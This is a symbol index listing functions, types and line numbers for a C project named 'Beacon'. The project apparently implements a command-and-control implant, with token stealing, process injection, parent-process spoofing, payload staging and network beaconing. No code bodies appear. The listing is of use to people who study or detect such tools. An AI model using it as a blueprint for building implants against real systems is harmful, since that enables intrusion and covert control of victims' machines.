SYMBOL INDEX (272 symbols across 36 files) FILE: Beacon/api.c function BeaconAPI (line 5) | void BeaconAPI(bapi* beaconApi) function PROC (line 42) | PROC* FindOrAddDynamicFunction(bapi* api, PROC newFunction) FILE: Beacon/api.h type bapi (line 6) | typedef struct _bapi FILE: Beacon/argument.c type ARGUMENT_ENTRY (line 8) | typedef struct _ARGUMENT_ENTRY function BOOL (line 18) | BOOL ArgumentFindMatch(EXPANDED_CMD* extendedCmd, const char* cmd) function ARGUMENT_ENTRY (line 32) | ARGUMENT_ENTRY* ArgumentFindOrCreate(char* expanded) function ArgumentAdd (line 61) | void ArgumentAdd(char* buffer, int length) function ArgumentRemove (line 87) | void ArgumentRemove(char* buffer, int length) function ArgumentList (line 105) | void ArgumentList() FILE: Beacon/argument.h type EXPANDED_CMD (line 3) | typedef struct _EXPANDED_CMD FILE: Beacon/beacon.h type sizedbuf (line 25) | typedef struct type datap (line 32) | typedef struct { type datap (line 58) | typedef datap formatp; type HEAP_RECORD (line 110) | typedef struct { type BEACON_INFO (line 135) | typedef struct { type DATA_STORE_OBJECT (line 180) | typedef struct { FILE: Beacon/channel.c type CHANNEL_ENTRY (line 10) | typedef struct CHANNEL_ENTRY function BOOL (line 37) | BOOL ChannelIsBindValid(short port) function SOCKET (line 49) | SOCKET ChannelSocketCreateAndBind(const int addr, const short port, cons... function ChannelAdd (line 76) | void ChannelAdd(SOCKET socket, int id, int timeoutPeriod, int type, int ... function ChannelGetId (line 100) | long long ChannelGetId() function ChannelLSocketBind (line 105) | void ChannelLSocketBind(char* buffer, int length, int ipAddress) function ChannelLSocketTcpPivot (line 122) | void ChannelLSocketTcpPivot(char* buffer, int length) function ChannelListen (line 139) | void ChannelListen(char* buffer, int length) function ChannelConnect (line 156) | void ChannelConnect(char* buffer, int length) function ChannelClose (line 202) | void ChannelClose(char* buffer, int length) function ChannelSend (line 219) | void ChannelSend(char* buffer, int length) function ChannelLSocketClose (line 265) | void ChannelLSocketClose(char* buffer, int length) function ChannelReceiveDataInternal (line 279) | int ChannelReceiveDataInternal(SOCKET socket, char* buffer, int length) function ChannelReceiveData (line 297) | int ChannelReceiveData() function ChannelRemoveAllInactive (line 345) | void ChannelRemoveAllInactive() function ChannelHandleActivity (line 386) | void ChannelHandleActivity() function ChannelHandleAll (line 490) | void ChannelHandleAll(void) FILE: Beacon/crypto.c function CryptoSetupSha256AES (line 15) | void CryptoSetupSha256AES(char* in) function EncryptSessionData (line 44) | void EncryptSessionData(char* pubkey, char* in, int inlen, char* out, in... function CryptoAesHmacEncrypt (line 62) | int CryptoAesHmacEncrypt(char* buffer, int length) FILE: Beacon/data.c function datap (line 5) | datap* BeaconDataAlloc(int size) function BeaconDataFree (line 23) | void BeaconDataFree(datap* parser) function BeaconDataParse (line 30) | void BeaconDataParse(datap* parser, char* buffer, int size) { function BeaconDataInt (line 47) | int BeaconDataInt(datap* parser) function BeaconDataShort (line 60) | short BeaconDataShort(datap* parser) function BeaconDataByte (line 73) | char BeaconDataByte(datap* parser) function BeaconDataStringCopySafe (line 103) | int BeaconDataStringCopySafe(datap* parser, char* buffer, int size) function BeaconDataStringCopy (line 121) | int BeaconDataStringCopy(datap* parser, char* buffer, int size) function BeaconDataLength (line 142) | int BeaconDataLength(datap* parser) function BeaconDataZero (line 171) | void BeaconDataZero(datap* parser) FILE: Beacon/download.c type DOWNLOAD_ENTRY (line 7) | typedef struct DOWNLOAD_ENTRY function DownloadCancel (line 18) | void DownloadCancel(char* buffer, int length) function DownloadDo (line 33) | void DownloadDo(char* buffer, int length) function Upload (line 104) | void Upload(char* buffer, int length, char* mode) function DownloadCloseSafely (line 134) | void DownloadCloseSafely(DOWNLOAD_ENTRY* download) type DOWNLOAD_CHUNK (line 144) | typedef struct DOWNLOAD_CHUNK function DownloadFileChunk (line 150) | void DownloadFileChunk(DOWNLOAD_ENTRY* download, int chunkMaxSize) function DownloadHandleAll (line 180) | void DownloadHandleAll(int chunkMaxSize) FILE: Beacon/filesystem.c function FilesystemCd (line 7) | void FilesystemCd(char* buffer, int length) function FilesystemPwd (line 20) | void FilesystemPwd() function FilesystemMkdir (line 29) | void FilesystemMkdir(char* buffer, int length) function FilesystemMove (line 41) | void FilesystemMove(char* buffer, int length) function FilesystemCopy (line 65) | void FilesystemCopy(char* buffer, int length) function FilesystemDrives (line 89) | void FilesystemDrives(char* buffer, int length) function FilesystemList (line 110) | void FilesystemList(char* buffer, int length) function BOOL (line 182) | BOOL FilesystemIsDirectory(char* filename) function FilesystemRemoveRecursiveCallback (line 187) | void FilesystemRemoveRecursiveCallback(const char* a1, const char* a2, B... function FilesystemFindAndProcess (line 198) | void FilesystemFindAndProcess(char* filename, WIN32_FIND_DATAA* findData) function FilesystemRemoveDirectoryChildren (line 240) | void FilesystemRemoveDirectoryChildren(char* filepath) function FilesystemRemove (line 249) | void FilesystemRemove(char* buffer, int length) FILE: Beacon/format.c function BeaconFormatAlloc (line 5) | void BeaconFormatAlloc(formatp* format, int maxsz) function BeaconFormatUse (line 11) | void BeaconFormatUse(formatp* format, char* buffer, int size) function BeaconFormatReset (line 16) | void BeaconFormatReset(formatp* format) function BeaconFormatAppend (line 21) | void BeaconFormatAppend(formatp* format, char* text, int len) function BeaconFormatPrintf (line 34) | void BeaconFormatPrintf(formatp* format, char* fmt, ...) function BeaconFormatFree (line 46) | void BeaconFormatFree(formatp* format) function BeaconFormatInt (line 52) | void BeaconFormatInt(formatp* format, int value) function BeaconFormatShort (line 58) | void BeaconFormatShort(formatp* format, short value) function BeaconFormatChar (line 64) | void BeaconFormatChar(formatp* format, char value) function BeaconFormatLength (line 79) | int BeaconFormatLength(formatp* format) FILE: Beacon/identity.c function BOOL (line 25) | BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size) function IdentityRevertToken (line 50) | void IdentityRevertToken(void) function IdentityConditionalRevert (line 56) | void IdentityConditionalRevert(BOOL ignoreToken) function IdentityImpersonateToken (line 62) | void IdentityImpersonateToken(void) function IdentityConditionalImpersonate (line 68) | void IdentityConditionalImpersonate(BOOL ignoreToken) function IdentityGetUidInternal (line 74) | void IdentityGetUidInternal(HANDLE hToken) function IdentityGetUid (line 85) | void IdentityGetUid(void) function BOOL (line 116) | BOOL BeaconUseToken(HANDLE token) function BeaconRevertToken (line 172) | void BeaconRevertToken(void) function BOOL (line 196) | BOOL BeaconIsAdmin(void) function IdentityLoginUserInternal (line 218) | void IdentityLoginUserInternal(char* domain, char* username, char* passw... function IdentityLoginUser (line 253) | void IdentityLoginUser(char* buffer, int length) function IdentityStealToken (line 288) | void IdentityStealToken(char* buffer, int length) function IdentityElevationThread (line 361) | void IdentityElevationThread(LPVOID lpThreadParameter) function IdentityElevatePre (line 388) | void IdentityElevatePre(char* buffer, int length) function IdentityElevatePost (line 409) | void IdentityElevatePost() function IdentityGetPrivilegesInternal (line 438) | void IdentityGetPrivilegesInternal(char* buffer, int length, HANDLE hTok... function IdentityGetPrivileges (line 468) | void IdentityGetPrivileges(char* buffer, int length) FILE: Beacon/inline_execute_object.c type bapi (line 13) | struct bapi type RELOCATION (line 15) | typedef struct _RELOCATION function BOOL (line 36) | BOOL ProcessRelocation(RELOCATION* relocation, char* code, char* img, ch... function InlineExecuteObject (line 76) | void InlineExecuteObject(char* buffer, int length) FILE: Beacon/job.c type JOB_ENTRY (line 13) | typedef struct _JOB_ENTRY function JOB_ENTRY (line 32) | JOB_ENTRY* JobAdd(JOB_ENTRY* newJob) function JobCleanup (line 55) | void JobCleanup() function JobKill (line 100) | void JobKill(char* buffer, int size) function JobPrintAll (line 115) | void JobPrintAll() function JOB_ENTRY (line 131) | JOB_ENTRY* JobRegisterProcess(PROCESS_INFORMATION* pi, HANDLE hRead, HAN... function JobReadDataFromPipe (line 152) | int JobReadDataFromPipe(HANDLE hPipe, char* buffer, int size) function JobReadDataFromPipeWithHeader (line 176) | int JobReadDataFromPipeWithHeader(HANDLE hPipe, char* buffer, int size) function JOB_ENTRY (line 193) | JOB_ENTRY* JobRegisterPipe(HANDLE hRead, int pid32, int callbackType, ch... function JobRegister (line 212) | void JobRegister(char* buffer, int size, BOOL impersonate, BOOL isMsgMode) function JobSpawnInternal (line 251) | void JobSpawnInternal(int callbackType, int waitTime, int reflectiveLoad... function JobSpawn (line 285) | void JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken) function JobExecuteInternal (line 307) | void JobExecuteInternal(char* buffer, int length) function BOOL (line 334) | BOOL kernel32$Wow64DisableWow64FsRedirection(PVOID* OldValue) function BOOL (line 344) | BOOL kernel32$Wow64RevertWow64FsRedirection(PVOID OldValue) function JobExecute (line 354) | void JobExecute(char* buffer, int length) FILE: Beacon/link.c type LINK_ENTRY (line 9) | typedef struct _LINK_ENTRY function BOOL (line 22) | BOOL LinkAdd(PROTOCOL* protocol, int pivotHints) function SOCKET (line 79) | SOCKET LinkViaTcpConnect(char* target, short port) function LinkViaTcp (line 112) | void LinkViaTcp(char* buffer, int length) function PipeReopen (line 140) | void PipeReopen(char* buffer, int length) function PipeCloseInternal (line 155) | void PipeCloseInternal(int bid) function PipeClose (line 171) | void PipeClose(char* buffer, int length) type ROUTE_DATA (line 179) | typedef struct _ROUTE_DATA function PipeRoute (line 186) | void PipeRoute(char* buffer, int length) function PingHandle (line 257) | void PingHandle() FILE: Beacon/main.c function main (line 3) | int main(int argc, char* argv[]) FILE: Beacon/memory.c type RECORD (line 3) | typedef struct RECORD type RECORD_ENTRY (line 12) | typedef struct RECORD_ENTRY function MemoryInsert (line 27) | void MemoryInsert(char* buffer, int length, int type, BOOL isHeap, void(... function MemoryCleanup (line 56) | void MemoryCleanup() function HEAP_RECORD (line 89) | HEAP_RECORD* MemoryGetHeapRecords() FILE: Beacon/metadata.c function BOOL (line 23) | BOOL SelfIsWindowsVistaOrLater() function MetadataGenerate (line 28) | void MetadataGenerate(char* buffer, int size) FILE: Beacon/metadata.h type SESSION (line 3) | typedef struct SESSION FILE: Beacon/network.c function NetworkInit (line 30) | void NetworkInit(void) function ULONG (line 47) | ULONG NetworkGetActiveAdapterIPv4() function NetworkStatusCallback (line 76) | void NetworkStatusCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWO... function NetworkUpdateSettings (line 82) | void NetworkUpdateSettings(HINTERNET hInternet) function BOOL (line 103) | BOOL NetworkCheckResponse(HINTERNET hInternet) function NetworkGet (line 113) | int NetworkGet(const char* getUri, SESSION* session, char* data, const i... function NetworkPost (line 179) | void NetworkPost(const char* uri) function NetworkConfigureHttp (line 238) | void NetworkConfigureHttp(LPCSTR lpszServerName, INTERNET_PORT nServerPo... function NetworkClose (line 311) | void NetworkClose(void) FILE: Beacon/pipe.c function BOOL (line 7) | BOOL PipeConnect(LPCSTR lpFileName, HANDLE* pipe, DWORD flags) function PipeConnectWithTokenNoFlags (line 39) | int PipeConnectWithTokenNoFlags(LPCSTR filename, HANDLE* pipe) function PipeConnectWithToken (line 57) | int PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags) function BOOL (line 65) | BOOL PipeWaitForData(HANDLE hNamedPipe, DWORD waitTime, int iterWaitTime) FILE: Beacon/powershell.c function PowershellHostTcp (line 21) | void PowershellHostTcp(char* buffer, int size) FILE: Beacon/process.c function BOOL (line 9) | BOOL GetAccountNameFromToken(HANDLE hProcess, char* accountName, int len... function ProcessList (line 21) | void ProcessList(char* buffer, int length) { function BOOL (line 96) | BOOL ProcessKill(char* buffer, int length) { FILE: Beacon/protocol.c function ProtocolSmbPipeRead (line 10) | int ProtocolSmbPipeRead(HANDLE channel, char* buffer, int length) function ProtocolTcpSocketRead (line 28) | int ProtocolTcpSocketRead(SOCKET channel, char* buffer, int length) function BOOL (line 47) | BOOL ProtocolSmbPipeWrite(HANDLE hFile, char* buffer, int length) function BOOL (line 66) | BOOL ProtocolTcpSocketWrite(SOCKET channel, char* buffer, int length) function ProtocolSmbRead (line 85) | int ProtocolSmbRead(PROTOCOL* protocol, char* buffer, int length) function ProtocolTcpRead (line 100) | int ProtocolTcpRead(PROTOCOL* protocol, char* buffer, int length) function BOOL (line 115) | BOOL ProtocolTcpWrite(PROTOCOL* protocol, char* buffer, int length) function BOOL (line 125) | BOOL ProtocolSmbWrite(PROTOCOL* protocol, char* buffer, int length) function ProtocolTcpClose (line 135) | void ProtocolTcpClose(PROTOCOL* protocol) function ProtocolSmbClose (line 141) | void ProtocolSmbClose(PROTOCOL* protocol) function ProtocolSmbFlush (line 147) | void ProtocolSmbFlush(PROTOCOL* protocol) function BOOL (line 152) | BOOL ProtocolSmbWaitForData(PROTOCOL* protocol, DWORD waitTime, int iter... function BOOL (line 157) | BOOL ProtocolTcpWaitForData(PROTOCOL* protocol, DWORD waitTime, int iter... function PROTOCOL (line 192) | PROTOCOL* ProtocolSmbInit(PROTOCOL* protocol, HANDLE handle) function PROTOCOL (line 203) | PROTOCOL* ProtocolTcpInit(PROTOCOL* protocol, SOCKET socket) function ProtocolSmbOpenExplicit (line 214) | void ProtocolSmbOpenExplicit(char* data) FILE: Beacon/protocol.h type CHANNEL (line 3) | typedef union _CHANNEL { type PROTOCOL (line 8) | typedef struct _PROTOCOL { FILE: Beacon/self.c function Die (line 11) | void Die(void) function SleepSet (line 17) | void SleepSet(char* buffer, int length) function Pause (line 30) | void Pause(char* buffer, int length) function BOOL (line 40) | BOOL BeaconIsExpired() function BeaconInterrupt (line 54) | [[noreturn]] void BeaconInterrupt() FILE: Beacon/spawn.c function Spawn (line 19) | void Spawn(char* data, int size, BOOL x86, BOOL ignoreToken) function SpawnAndPing (line 50) | void SpawnAndPing(char* data, int size, BOOL x86) function DWORD (line 66) | DWORD SpawnToExpand(char* expanded, size_t size, BOOL x86) function SpawnToFix (line 99) | void SpawnToFix(BOOL x86, char* cmd) function BeaconGetSpawnTo (line 133) | void BeaconGetSpawnTo(BOOL x86, char* buffer, int length) type INJECTION (line 142) | typedef struct _INJECTION type WINBASEAPI (line 155) | typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE ... type WINBASEAPI (line 156) | typedef WINBASEAPI HMODULE(WINAPI* FN_KERNEL32_LOADLIBRARYA)(_In_ LPCSTR... type WINBASEAPI (line 157) | typedef WINBASEAPI FARPROC(WINAPI* FN_KERNEL32_GETPROCADDRESS)(_In_ HMOD... type WINBASEAPI (line 158) | typedef WINBASEAPI LPVOID(WINAPI* FN_KERNEL32_VIRTUALALLOC)(_In_opt_ LPV... type WINBASEAPI (line 159) | typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_VIRTUALPROTECT)(_In_ LPVOID ... type CLIENT_ID (line 161) | typedef CLIENT_ID* PCLIENT_ID; type SECTION_INHERIT (line 165) | typedef enum _SECTION_INHERIT { function BOOL (line 171) | BOOL IsWow64ProcessEx(HANDLE hProcess) function BOOL (line 185) | BOOL IsProcess64Bit(HANDLE hProcess) type PAYLOAD (line 193) | typedef struct _PAYLOAD function BOOL (line 319) | BOOL AdjustMemoryPermissions(char* payload, int size) { function InjectIntoPid (line 362) | void InjectIntoPid(char* buffer, int length, BOOL x86) function InjectIntoPidAndPing (line 401) | void InjectIntoPidAndPing(char* buffer, int length, BOOL x86) function BOOL (line 415) | BOOL ExecuteViaCreateRemoteThread(HANDLE hProcess, LPVOID lpStartAddress... function BOOL (line 420) | BOOL ExecuteViaRtlCreateUserThread(HANDLE hProcess, LPVOID lpStartAddres... function BOOL (line 436) | BOOL ExecuteViaNtQueueApcThread_s(INJECTION* injection, LPVOID lpStartAd... type APC_ROUTINE_CONTEXT (line 453) | typedef struct _APC_ROUTINE_CONTEXT function NtQueueApcThreadProc (line 469) | __declspec(noinline) void NtQueueApcThreadProc(PAPC_ROUTINE_CONTEXT pData) function NtQueueApcThreadProc_End (line 483) | __declspec(noinline) void NtQueueApcThreadProc_End(void) {} function BOOL (line 486) | BOOL ExecuteViaNtQueueApcThread(INJECTION* injection, LPVOID lpStartAddr... function BOOL (line 568) | BOOL ExecuteViaCreateRemoteThread_s(DWORD option, HANDLE hProcess, LPVOI... function BOOL (line 611) | BOOL ExecuteViaSetThreadContext(INJECTION* injection, CHAR* lpStartAddre... function BOOL (line 652) | BOOL ExecuteViaCreateThread(INJECTION* injection, CHAR* lpStartAddress, ... function BOOL (line 657) | BOOL ExecuteInjection(INJECTION* injection, CHAR* lpStartAddress, DWORD ... function InjectAndExecute (line 739) | void InjectAndExecute(INJECTION* injection, char* payload, int size, int... function BeaconInjectProcessInternal (line 759) | void BeaconInjectProcessInternal(PROCESS_INFORMATION* processInfo, HANDL... function BlockDlls (line 825) | void BlockDlls(char* buffer, int length) function LPPROC_THREAD_ATTRIBUTE_LIST (line 832) | LPPROC_THREAD_ATTRIBUTE_LIST ProcThreadAttributeListInit(DWORD dwAttribu... type RUN_UNDER_CONTEXT (line 847) | typedef struct _RUN_UNDER_CONTEXT { function BOOL (line 854) | BOOL UpdateParentProcessContext(PRUN_UNDER_CONTEXT context, DWORD parent... function CleanupParentProcessContext (line 898) | void CleanupParentProcessContext(PRUN_UNDER_CONTEXT context) function PRUN_UNDER_CONTEXT (line 902) | PRUN_UNDER_CONTEXT ParentProcessContextInit(PRUN_UNDER_CONTEXT context) function PRUN_UNDER_CONTEXT (line 910) | PRUN_UNDER_CONTEXT UpdateChildProcessContext(PRUN_UNDER_CONTEXT context,... function CleanupChildProcessContext (line 929) | void CleanupChildProcessContext(PRUN_UNDER_CONTEXT context) function PRUN_UNDER_CONTEXT (line 936) | PRUN_UNDER_CONTEXT ChildProcessContextInit(PRUN_UNDER_CONTEXT context) type RUN_UNDER_CONFIG (line 943) | typedef struct _RUN_UNDER_CONFIG function ProcThreadAttributeListDestroy (line 953) | void ProcThreadAttributeListDestroy(LPVOID lpAttributeList) function BOOL (line 965) | BOOL ProcessCmdAdjust(PROCESS_INFORMATION* processInfo, EXPANDED_CMD* cm... function BOOL (line 1049) | BOOL SpawnProcessWithLogon(RUN_UNDER_CONFIG* runUnderConfig, WCHAR* cmd,... function BOOL (line 1073) | BOOL SpawnProcessWithTokenOrLogon(RUN_UNDER_CONFIG* runUnderConfig) function BOOL (line 1129) | BOOL SpawnProcess(RUN_UNDER_CONFIG* execution) function BOOL (line 1180) | BOOL RunAsUserInternal(LPCCH domain, LPCCH username, LPCCH password, LPC... function RunAsUser (line 1234) | void RunAsUser(char* buffer, int length) function BOOL (line 1267) | BOOL RunProcessWithAdjustedCmd(RUN_UNDER_CONFIG* execution) function BOOL (line 1291) | BOOL RunUnder_(RUN_UNDER_CONFIG* runUnderConfig, int parentPid) function BOOL (line 1343) | BOOL RunUnder(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCES... function BOOL (line 1350) | BOOL RunUnderParent(char* cmd, int cmdLength, STARTUPINFO* startupInfo, ... function RunUnderPid (line 1355) | void RunUnderPid(char* buffer, int length) function BeaconInjectProcess (line 1380) | void BeaconInjectProcess(HANDLE hProcess, int pid, char* payload, int p_... function BeaconInjectTemporaryProcess (line 1385) | void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* pa... function BOOL (line 1390) | BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO... function BeaconCleanupProcess (line 1397) | void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo) function Execute (line 1407) | void Execute(char* buffer, int length) function BOOL (line 1429) | BOOL SpawnAsUserInternal(BOOL x86, char* lpDomain, char* lpUsername, cha... function SpawnAsUser (line 1436) | void SpawnAsUser(char* buffer, int length, BOOL x86) function BOOL (line 1476) | BOOL SpawnUnderInternal(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PRO... function SpawnUnder (line 1483) | void SpawnUnder(char* buffer, int length, BOOL x86) function BOOL (line 1508) | BOOL RunIsSameSessionAsCurrent(int pid) function RunSetParentPid (line 1521) | void RunSetParentPid(char* buffer, int length) function SpawnSetTo (line 1534) | void SpawnSetTo(char* buffer, int length, BOOL x86) FILE: Beacon/stage.c function StagePayloadViaTcp (line 10) | int StagePayloadViaTcp(char* buffer, int length) function StagePayloadViaPipe (line 43) | void StagePayloadViaPipe(char* buffer, int length) FILE: Beacon/strategy.c function BOOL (line 22) | BOOL StrategyMarkRetry( FILE: Beacon/strategy.h type STRATEGY (line 5) | typedef struct STRATEGY FILE: Beacon/task.c function TaskDispatch (line 21) | void TaskDispatch(int cmd, char* buffer, int size) function TaskProcess (line 256) | void TaskProcess(char* buffer, int length) FILE: Beacon/thread.c type THREAD_INFO (line 8) | typedef struct THREAD_INFO { function CFGCautionThreadStub (line 18) | __declspec(noinline) void CFGCautionThreadStub(THREAD_INFO* threadInfo) function CFGCautionThreadStubEnd (line 26) | __declspec(noinline) void CFGCautionThreadStubEnd(void) {} function HANDLE (line 29) | HANDLE CreateThreadWithCfgCaution(LPTHREAD_START_ROUTINE lpStartAddress,... function HANDLE (line 48) | HANDLE CreateThreadEx(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpPa... FILE: Beacon/transform.c function TransformInit (line 30) | void TransformInit(TRANSFORM* transform, int size) function TransformEncode (line 47) | void TransformEncode(TRANSFORM* transform, function TransformDecode (line 220) | int TransformDecode(char* recover, char* recoverable, int recoverableLen... function TransformDestroy (line 302) | void TransformDestroy(TRANSFORM* transform) FILE: Beacon/transform.h type TRANSFORM (line 5) | typedef struct TRANSFORM FILE: Beacon/utils.c function DWORD (line 5) | DWORD ExpandEnvironmentStrings_s(const char* lpSrc, char* lpDst, size_t ... function RoundToNearestMultiple (line 18) | int RoundToNearestMultiple(int value, int multiple) function RoundToNearestEven (line 23) | int RoundToNearestEven(int value) function RandomIntInRange (line 28) | int RandomIntInRange(int min, int max) function RandomInt (line 33) | int RandomInt(void) function RandomEvenInt (line 40) | int RandomEvenInt(void) function ToNetbios (line 45) | int ToNetbios(const char nb, const char* in, const int inlen, char* out,... function FromNetbios (line 58) | int FromNetbios(const char nb, const char* in, const int inlen, char* ou... function XorMask (line 72) | int XorMask(const char* in, const int inlen, char* out, const int outlen) function XorUnmask (line 85) | int XorUnmask(const char* in, const int inlen, char* out, const int outlen) FILE: Beacon/web_response.c type WEB_RESPONSE (line 9) | typedef struct WEB_RESPONSE function WEB_RESPONSE (line 19) | WEB_RESPONSE* WebResponseInit(SOCKET socket, char* content, int contentL... function WebResponseDestroy (line 43) | void WebResponseDestroy(WEB_RESPONSE* webResponse) function WebResponseReceiveUntilNewline (line 52) | int WebResponseReceiveUntilNewline(SOCKET socket, char* data, int size) function WebResponseThread (line 73) | void WebResponseThread(WEB_RESPONSE* webResponse) function WebServerInit (line 92) | void WebServerInit(short port, char* content, int contentLength) function WebServerLocal (line 119) | void WebServerLocal(char* buffer, int length)